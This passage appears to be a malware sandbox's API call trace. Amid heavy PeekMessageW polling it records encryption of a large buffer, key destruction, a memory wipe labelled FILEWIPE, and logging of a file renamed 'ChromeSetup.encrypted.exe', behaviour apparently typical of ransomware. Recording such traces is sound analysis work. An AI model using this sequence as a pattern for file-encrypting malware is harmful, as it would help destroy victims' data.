lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.491] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.491] CharLowerBuffW (in: lpsz="byte[81761]", cchLength=0xb | out: lpsz="byte[81761]") returned 0xb [0026.491] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.492] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.492] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.492] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.492] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43b5e50*, pdwDataLen=0xe8f3dfdf68*=0x13f58, dwBufLen=0x13f60 | out: pbData=0xe8f43b5e50*, pdwDataLen=0xe8f3dfdf68*=0x13f60) returned 1 [0026.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.493] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.493] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.493] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.493] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.493] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.493] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.493] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.493] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.493] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.493] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.498] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.498] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.498] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.502] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.502] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.502] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.502] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.502] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.502] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.502] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.502] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0026.502] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.502] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.502] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.502] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.502] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.502] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.502] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.502] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.502] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.503] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.503] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.503] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.503] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.503] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.503] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.503] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.503] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.503] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.506] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.507] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.507] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.507] CharLowerBuffW (in: lpsz="byte[1130328]", cchLength=0xd | out: lpsz="byte[1130328]") returned 0xd [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.516] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.516] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.516] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.517] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.517] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.517] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.517] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.517] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.517] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.517] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.517] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.517] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.520] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.520] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.524] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.524] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.524] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.524] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.525] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.525] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.525] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.525] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.530] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.534] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.534] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.535] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.535] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.535] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.535] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.535] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.535] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.535] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6158) returned 1 [0026.535] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.535] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.535] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.535] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x180e, lpOverlapped=0x0) returned 1 [0026.535] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.536] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x180e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.536] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6158) returned 1 [0026.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Downloads\\ChromeSetup.encrypted.exe\r\n", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0026.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Downloads\\ChromeSetup.encrypted.exe\r\n", cchWideChar=59, lpMultiByteStr=0xe8f4051310, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Downloads\\ChromeSetup.encrypted.exe\r\n", lpUsedDefaultChar=0x0) returned 59 [0026.536] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40510e0*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40510e0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3a, lpOverlapped=0x0) returned 1 [0026.536] CloseHandle (hObject=0x1fc) returned 1 [0026.556] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.556] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.560] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.560] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.560] PeekMessageW (in: lpMsg=0xe8f3dff480, 